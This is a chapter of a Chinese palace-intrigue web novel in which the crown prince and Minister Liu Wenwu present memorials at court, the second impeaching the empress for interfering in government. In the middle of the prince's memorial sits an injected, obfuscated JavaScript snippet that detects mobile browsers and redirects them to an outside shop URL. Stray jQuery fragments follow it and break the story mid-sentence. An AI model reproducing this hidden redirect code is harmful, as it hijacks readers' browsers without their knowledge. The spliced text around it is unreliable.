143.弹劾

作品:《昊天大帝

    第143章、弹劾


    ……


    破天荒的一次,一开始炎帝时无幽并无反应,等了一会儿,看到皇后正在跟女官低语着什么,再加上也可能是距离有点儿远,伏地的太子声音声音不高,久不见皇后回,炎帝应声道:


    “准奏!平身!”


    “时光顿首,谨以血诚,上渎天听!


    窃惟有云:‘民惟邦本,本固邦宁。’ 陛下践祚以来,夙夜孜孜,求治若渴,然今岁以来,臣尝出巡近畿,周历郡县,见道路萧条,闾阎愁叹,老幼扶杖而泣者,十室而九。臣心恻然,不敢不陈之于上。


    夫赋税者,国用所出,亦民生所系。昔除田租,废免租庸,皆以轻徭薄赋为养民之本。今承平既久,而民力愈疲,何也?盖因苛税日增,征求无艺。臣闻之:田赋之外,有‘折色’、‘加耗’,一亩之田,出米三石,而折银或至一斤。丁税之外,有‘均徭’、‘里甲’,一家之男,充役数年,而家私荡然。商贾之途,关津叠征,米盐布帛,半输于官,半耗于吏。更有甚者,地方有司借‘公费’、‘羡余’之名,横征暴敛,巧取豪夺,百姓卖田宅、鬻子女以完赋者,所在皆是。


    臣前日至图南国,见道旁妇抱稚子,鬻裙珥以易升米;至真定县,闻老农夜哭,言‘今岁租粮未足,里正已带皂隶登门,不日将锁拿妻孥’。夫民为邦本,本伤则枝叶凋;赋重则民穷,民穷则盗起。近闻沧州、晋南诸处,已有饥民聚众求食,虽未酿成大患,然蝇蚁之聚,亦可惧也。


    臣尝读《王朝政要》,太宗谓侍臣曰:‘水能载舟,亦能覆舟。’ 今陛下圣明,岂忍见赤子困于苛政而莫之救乎?臣愚以为,宜行以下数事,以苏民困:


    一、蠲免灾伤。今岁耀江、福楚、沧州数州郡,或遭旱魃,或被水潦,田亩荒芜,颗粒无收。乞敕户部核议,将灾区钱粮全免,次年亦缓征,使民得粒食续命。


    二、暂停非急之征。近年工役繁兴,如修造离宫、采办珠宝诸务,虽出于陛下燕闲之娱,然民力已竭,不可复堪。乞暂罢诸非必要工程,减省不急之费,以纾民力。


    三、清厘税则。严饬有司,禁止额外摊派,凡‘火耗’、‘羡余’等名目,一概革除;田赋、丁税,悉遵旧制,不得巧立名目加征。并严惩贪墨之吏,有敢横征者,按律治罪,以儆效尤。


    四、优恤鳏寡。老弱病残、无依无靠之民,免其杂泛差役;贫弱不能完赋者,许以工代赈,或贷以籽种,助其立锥。


    臣闻‘德莫高于爱民,政莫先于裕民’。陛下以天下为念,若能轻徭薄赋,使百姓得保其身家,则民生日厚,国本自固,四海宴然,社稷永安,此万世之福也。


    臣忝列储贰,念切民瘼,冒昧上陈,伏乞圣裁。倘蒙允准,臣愿亲赴灾区,宣谕圣泽,督责有司实力奉行,庶几上答天心,下慰民望。


    谨奏请旨。太子时光奉书。子续一十九年启月。”


    朝堂之上立即响起一阵阵窃窃私语声,这种奏疏本应该由“户部”或“工部”职责所诉,如今却被太子于朝堂之上公开奏报,你让这两部情何以堪?太子还是太年轻了,现在还处在备选期就这般飞扬跋扈,公然树敌,哪还能有再入列候选的可能,等着被废吧!


    同样惊诧的还有炎帝时无幽,太子时光的秉性手段他就算不是很了解也是略知一二的,根据早期时光所作所为也算得上无伤大雅,无非是帮皇后打压一下对手,出个气,纯属打闹而已,自册封太子以后,小子低调了许多,为人处世也稳重了不少,近期有传闻他与御史丞相交甚密,看来还是受了影响的。


    再就是皇后了,近些日来,太子时光也少见,据线报称东宫太子近日跟新晋御史丞刘文武交往甚密,两人还亲上烽火台查探私调军粮一案,虽说太子有监国之责,但这种贸然出动的行为简直就是不知死活。


    烽火台私调军粮是大表兄公冶杨专门针对御史丞设定的一个必杀局,却不料一夜之间成了反杀局,公冶杨吓得不轻,害怕被炎帝究责,苦苦哀求表妹,公冶松深知以炎帝那胆小如鼠谨小慎微的秉性,又能怎样呢?皇后就是这样对公冶杨说道。


    御史丞府“五日禁忌之期”历经半世岁月,已然成型,是为皇后手段,为的是从此杜绝再有人以下犯上地弹劾皇后干政,七十二年前御史丞,右丞相梅承越朝堂之上公然弹劾皇后参政干政的震撼场面,公冶松每每念及都会恶梦连连,为杜绝此类事件再生,皇后斥势或毒或诛,绝不留后患。


    殊不知此次新晋御史丞就任伊始,不但皇帝派遣了御剑司雷笑延亲力亲为守护,更有“海神朝”夜千寻狗贼遣人暗中窥伺,实属阻力太大无力图之,从而造成不可控局面,遣出之人至今杳无音信,“五日禁忌之期”也应时夭折。


    就在此时,皇后突然抬高声调问道:


    “右相刘卿……”


    听到皇后点了自己的名儿,刘文武慌忙跪倒大礼参拜,趴伏在地,不敢抬头。


    “……本宫且问尔:尔右相冠绶,御史丞身上朱紫,其色可出自孔罡之血乎?抑或沐天恩而镀成?曩者沧州之乱,孔将军提三百死士,血沃边尘,方得乾坤靖谧。今尔挟私逞暴,戕戮功臣!保和殿梁栋,固金丝楠木可朽,尔之心窍,岂不若腐木蛀空尤甚也?”


    太子时光神色镇定,再次跪倒请奏,得到炎帝时无幽允准后,站起身奏报——


    “臣谨奏:


    儿臣亲历其事,昨日孔罡僭越犯上,先行械系儿臣于阶前。幸得丞相刘公忠勇昭彰,舍身护持,誓同生死,方得全躯。窃以为右相刘公此举,实乃惩一警百,势所必然。


    孔罡罪证昭彰,历历可考。曩昔劣迹斑斑,俱载史册:恃功骄纵,辱及同僚;妄议军机,藐视国法。右相久典戎行,军纪森严,素著威望。今若纵容,恐效尤者众,军心溃散,国本动摇。


    况我朝向以礼法立国,孔罡所为,已干刑宪。虽用雷霆之威,实乃整饬军威,恪守国法。伏望陛下明鉴,右相刘公此举,上安社稷,下肃军威,非枉非纵


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775966|177777||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,实为社稷之幸!”


    太子时光话声刚落,太尉挚霄踏步出列,躬身请奏道——


    “臣谨奏:


    圣上固知右相勋高,然位极人臣者,当自束其行。孔罡之祸,咎由自矜。丞相诛之,乃去腹心之患。且此事既成,丞相可申明军法,使三军慑服,上下肃然,则社稷之福也。伏乞圣裁!”


    如此态势下,无需刘文武自辨就已经明明白白世人皆知了,原本孔罡就有居功自傲,恃强凌弱,狗眼看人低的习性,且惯以“辰神朝”功臣自居,依仗的无非还是皇后的淫威,飞扬跋扈目中无人,包括“辰神朝”的同僚都极其讨厌他,这等人渣早就该死,没人同情。


    皇后有未查即诘问之过,且是针对王公大臣,莫说没有其事,即便真有也不能这般直接,她哪知道孔罡还曾胁迫过太子,用太子做饵诱调刘文武,公冶杨也压根就没提过这个环节,若是早知道,她也不会这般莽撞,这般口无遮拦地针对御史丞。


    “爱卿平身,朕深知文武爱卿,一心为国,铲除巨恶,上下肃然,恪守国法,当属英才,快快平身!”炎帝心中窃喜,又给这老妖婆记了一笔,等着吧!早晚会收拾你。看着依旧趴伏在地的刘文武,正准备说话,忽闻刘文武道:


    “圣上圣明,臣有本奏!”


    “平身……准奏!”炎帝忽然间有了点儿惶恐小激动,连说话都不怎么利索了,自己等这一天等的那真叫望眼欲穿,他当然知道御史丞上奏的内容事关什么,不自禁地注目向太尉挚霄和执法系掌门莫语,眼神中颇有深意……


    “臣刘文武,天道王朝御史丞,谨以血诚,冒死上奏陛下:


    窃闻王者统御天下,当循阴阳之序,法天地之规。乾道刚健,坤道柔顺,此乃亘古不易之理。今陛下承天道王朝祖宗基业,开万世之太平,然后宫干政,外戚擅权,此诚国家之大患,社稷之危机。


    皇后公冶氏,出身微贱,蒙陛下隆恩,骤居后位。然其性类牝鸡,志越鸿鹄,每值朝会,辄以帷幔蔽面,私语左右,暗操权柄。


    近日更遣其兄公冶杨,交通边将,私调军粮,此乃《朝律》一百一十六条‘妄兴兵甲’之罪。更有甚者,今日大朝,皇后竟于殿陛之上,公然诘问丞相,此等僭越之举,实开妇寺干政之先例。


    臣查今皇后涉足朝堂,非但有违圣人之教,更致民间流言四起,谓之‘后宫凌驾于庙堂’。长此以往,必致纲常败坏,法度不行。


    昔者夏桀宠妹喜而亡国,商纣嬖妲己而丧邦,此皆前车之鉴。臣愚以为,当遵先祖遗训,重申‘后宫不得干政’之法,收回皇后玺绶,遣其归宁。其兄公冶杨交通不法,刻兴兵甲,按律当处车裂之刑。如此,则宫廷肃清,朝纲重整,上承天意,下顺民心。


    臣本布衣,蒙陛下拔擢,食君之禄,当尽犬马之劳。若陛下以为臣言过激,乞斩臣首以安皇后。然事关社稷存亡,臣宁鸣而死,不默而生。”


    谨奏请旨。御史丞刘文武。子续一十九年启月。